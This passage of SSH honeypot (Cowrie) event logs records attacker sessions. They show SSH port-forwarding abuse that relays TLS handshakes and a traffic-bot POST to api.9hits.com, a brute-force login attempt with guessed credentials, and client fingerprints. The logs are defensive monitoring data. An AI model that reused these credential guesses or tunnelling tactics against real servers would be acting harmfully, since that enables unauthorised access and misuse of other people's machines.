Z\\xd5\\x8d?B\\xf3\\xaf\\x89gw\\xdf\\xadd\\x94z[\\xff\\xff\\x1d\\xaf\\x8cM\\x12w\\xb2j\\xca\\xdbC\\xd6&%\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nJJ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02JJ\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":0,"message":"discarded direct-tcp forward request 0 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xc2\\x11\\n\\xcb\\xe2\\xe2\\xc5_\\xf6\\xc9\\\\h\\x14\\x8bJ\\xd7\\x1b\\xb1\\xea\\x1a\\x93\\xec\\xe0\\x1c}G\\x91\\x0e\\x14\\xb0#\\x11 \\xb7\\x99\\xed=\\x10Y\\x90\\xc6\\x9f\\xc6r\\xa7\\x9c\\x17\\xac7D\\x84\\x19\\xea\\xdea\\xceC\\xcev\\xf7\\x08u\\x85qo\\x00 \\x8a\\x8a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xda\\xda\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xda\\xda\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xda\\xda\\x00\\x01\\x00\\x00\\x1d\\x00 Z\\xd5\\x8d?B\\xf3\\xaf\\x89gw\\xdf\\xadd\\x94z[\\xff\\xff\\x1d\\xaf\\x8cM\\x12w\\xb2j\\xca\\xdbC\\xd6&%\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nJJ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02JJ\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:09:41.779472Z","src_ip":"23.175.50.51","session":"829118a17086","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"23.175.50.51","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:09:41.876184Z","session":"829118a17086","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"23.175.50.51","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:09:41.903025Z","session":"829118a17086","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:09:41.937003Z","src_ip":"23.175.50.51","session":"829118a17086","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1190\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 7.0; 9026X) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Mobile Safari/537.36 OPR/76.0.4017.177\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=RChvcHBYXy9vcm56RTRhPg%3D%3DqDd6msNtQk73RRj78EqT%2BMuAEm%2Fh0FCzx5fRsJYIAiBLVDxPtT7RKZOP0sQ%2BSaoynFO5QjooN7hxnUZEikTxXJBIQkHPeKykj%2FAJTHWa2QCLAkt7BAfXucTAVvjD7FXtKId6zjlwnRy4lUP3veKdSzJrT6iJbSh1Oc5q8et9y8LyTBSmMfhG9lnwT2Ni6%2BkOfXZKpBddHBNIdsJOTPMNc8dhNUvlMEamxykn1Ep71zMW1LbtI%2FvoA3IJb%2BT4vkNF0WELIssOtF3XqD6%2FX8IOg%2FVn5lcGkPdlJupnOM3eFSwyoYceCJWpTdJ%2Fjg8hUzexY3ceWfzfR39n8Fj8%2BczSUSKL5SLjFjIUXMXDXwR8miSlFRnQjOZErDZActYTfVX52A6q037ujnIoyRVUOazbhNtYTPpBVQN66o%2Fyo8M3HYT3WDkEbDsp7buNEnXaZGZCXpqEIXDw6kIn3S3DBc0GZBCB6kq%2BUnFYoGVNaDANh1mOAmiVaBs9TmBgO3FAmWwECNjKUzhDl2FuNpSY55H5nVyUsRFFgAu8Ju9KFxWf5y%2BVs06H0T6Pqo1TfdTQktR3wtVguwK71anyBcvC1eqD%2BrdvNrxBev8x3kym%2B9xfUu%2F44BPtGYWuACy4SdVFxEq05nba%2BHkfhrFMGIDCcXHpSjoteal%2B%2BVWvB0GWrtio7VW9uBE77hXvQv%2FNggG%2FMfy1RsDQqeA4l%2BfuBwATgBK5AtZqy0SfxVemVYxXFqG0jc2tNsMd3C3uQKutkpWW0baCmFbtoQ6axuyVeYaru%2BfS3wTNNmzrDtP9fv%2FlEJY9ydsF37qMqcd2joTrLwxtCDKmuDzKA0MtXynDHLbJP%2BRXrKMZagg83FJpAEceVdTpEZDab5FCbmuvvAWBJiYhWoRTA%2B7RBgQlhX9RQKhGhTqJx7jac%2FH4o1zk%2F1710WeJqVC%2FM9lpDrl%2FxUhPd3rrIZqsHWbtuFghq%2F%2BeUJjJKI6JGwy6I1rsl1ReYzwWBvRs5O8RHexVi8PawCTKc0qkbZ2%2BcBceJTeV%2FBq7xo4Jd7ocpNYaQiX9x9BohR5JnI4SCRMVEm3QRBZr5JUttVkq%2FvSO'","id":1,"message":"discarded direct-tcp forward request 1 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1190\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 7.0; 9026X) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Mobile Safari/537.36 OPR/76.0.4017.177\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=RChvcHBYXy9vcm56RTRhPg%3D%3DqDd6msNtQk73RRj78EqT%2BMuAEm%2Fh0FCzx5fRsJYIAiBLVDxPtT7RKZOP0sQ%2BSaoynFO5QjooN7hxnUZEikTxXJBIQkHPeKykj%2FAJTHWa2QCLAkt7BAfXucTAVvjD7FXtKId6zjlwnRy4lUP3veKdSzJrT6iJbSh1Oc5q8et9y8LyTBSmMfhG9lnwT2Ni6%2BkOfXZKpBddHBNIdsJOTPMNc8dhNUvlMEamxykn1Ep71zMW1LbtI%2FvoA3IJb%2BT4vkNF0WELIssOtF3XqD6%2FX8IOg%2FVn5lcGkPdlJupnOM3eFSwyoYceCJWpTdJ%2Fjg8hUzexY3ceWfzfR39n8Fj8%2BczSUSKL5SLjFjIUXMXDXwR8miSlFRnQjOZErDZActYTfVX52A6q037ujnIoyRVUOazbhNtYTPpBVQN66o%2Fyo8M3HYT3WDkEbDsp7buNEnXaZGZCXpqEIXDw6kIn3S3DBc0GZBCB6kq%2BUnFYoGVNaDANh1mOAmiVaBs9TmBgO3FAmWwECNjKUzhDl2FuNpSY55H5nVyUsRFFgAu8Ju9KFxWf5y%2BVs06H0T6Pqo1TfdTQktR3wtVguwK71anyBcvC1eqD%2BrdvNrxBev8x3kym%2B9xfUu%2F44BPtGYWuACy4SdVFxEq05nba%2BHkfhrFMGIDCcXHpSjoteal%2B%2BVWvB0GWrtio7VW9uBE77hXvQv%2FNggG%2FMfy1RsDQqeA4l%2BfuBwATgBK5AtZqy0SfxVemVYxXFqG0jc2tNsMd3C3uQKutkpWW0baCmFbtoQ6axuyVeYaru%2BfS3wTNNmzrDtP9fv%2FlEJY9ydsF37qMqcd2joTrLwxtCDKmuDzKA0MtXynDHLbJP%2BRXrKMZagg83FJpAEceVdTpEZDab5FCbmuvvAWBJiYhWoRTA%2B7RBgQlhX9RQKhGhTqJx7jac%2FH4o1zk%2F1710WeJqVC%2FM9lpDrl%2FxUhPd3rrIZqsHWbtuFghq%2F%2BeUJjJKI6JGwy6I1rsl1ReYzwWBvRs5O8RHexVi8PawCTKc0qkbZ2%2BcBceJTeV%2FBq7xo4Jd7ocpNYaQiX9x9BohR5JnI4SCRMVEm3QRBZr5JUttVkq%2FvSO'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:09:41.941359Z","src_ip":"23.175.50.51","session":"829118a17086","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:09:41.995119Z","src_ip":"23.175.50.51","session":"829118a17086","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xca(n\\xdfH\\x19\\x9bFw%@]\\\\\\x96+~\\xe9\\x0c\\x97n\\xb8T\\xb8\\xa6\\xa6\\xd22OT\\xb6i7 g\\x06\\xc1L\\xb7\\x05\\x8e\\xfa\\x90\\xdf\\x82^`i\\xe40\\xb4\\xad\\xed\\x0f\\x06M\\x8c7\\xc7\\x84\\x08\\xf03\\xefU\\xc3\\x00\"::\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xea\\xea\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x9a\\x9a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x9a\\x9a\\x00\\x01\\x00\\x00\\x1d\\x00 \\xa93\\xefux:)\\xf9~=\\x95de\\xbe\\xc1\\xfa\\xa9^.J$\\x08/\\x9f\\xf6\\xa0\\x86>=^\\xa3R\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xea\\xea\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xfa\\xfa\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xca(n\\xdfH\\x19\\x9bFw%@]\\\\\\x96+~\\xe9\\x0c\\x97n\\xb8T\\xb8\\xa6\\xa6\\xd22OT\\xb6i7 g\\x06\\xc1L\\xb7\\x05\\x8e\\xfa\\x90\\xdf\\x82^`i\\xe40\\xb4\\xad\\xed\\x0f\\x06M\\x8c7\\xc7\\x84\\x08\\xf03\\xefU\\xc3\\x00\"::\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xea\\xea\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x9a\\x9a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x9a\\x9a\\x00\\x01\\x00\\x00\\x1d\\x00 \\xa93\\xefux:)\\xf9~=\\x95de\\xbe\\xc1\\xfa\\xa9^.J$\\x08/\\x9f\\xf6\\xa0\\x86>=^\\xa3R\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xea\\xea\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xfa\\xfa\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:09:41.999035Z","src_ip":"23.175.50.51","session":"829118a17086","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":47282,"dst_ip":"159.203.135.109","dst_port":22,"session":"88eaf84c58a2","protocol":"ssh","message":"New connection: 91.92.40.36:47282 (159.203.135.109:22) [session: 88eaf84c58a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:09:46.019935Z"}
{"eventid":"cowrie.login.failed","username":"elasticsearch","password":"wasd","message":"login attempt [elasticsearch/wasd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:09:46.536669Z","src_ip":"91.92.40.36","session":"844a0c9e8023","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:09:46.896096Z","src_ip":"91.92.40.36","session":"88eaf84c58a2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:09:46.921226Z","src_ip":"91.92.40.36","session":"88eaf84c58a2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"39.1","message":"Connection lost after 39.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:09:49.060407Z","src_ip":"23.175.50.51","session":"829118a17086","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"11.3","message":"Connection lost after 11.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:09:49.864824Z","src_ip":"91.92.40.36","session":"844a0c9e8023","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":43800,"dst_ip":"159.203.135.109","dst_port":22,"session":"6486220e74bd","protocol":"ssh","message":"New connection: 91.92.40.36:43800 (159.203.135.109:22) [session: 6486220e74bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:09:51.605334Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.208.188.210","src_port":54794,"dst_ip":"10.17.0.5","dst_port":22,"session":"64bcfd2d2c52","protocol":"ssh","message":"New connection: 173.208.188.210:54794 (10.17.0.5:22) [session: 64bcfd2d2c52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:09:53.307359Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:09:53.311876Z","src_ip":"173.208.188.210","session":"64bcfd2d2c52","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:09:53.491671Z","src_ip":"173.208.188.210","session":"64bcfd2d2c52","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:09:53.727078Z","src_ip":"91.92.40.36","session":"6486220e74bd","protocol":"ssh"}
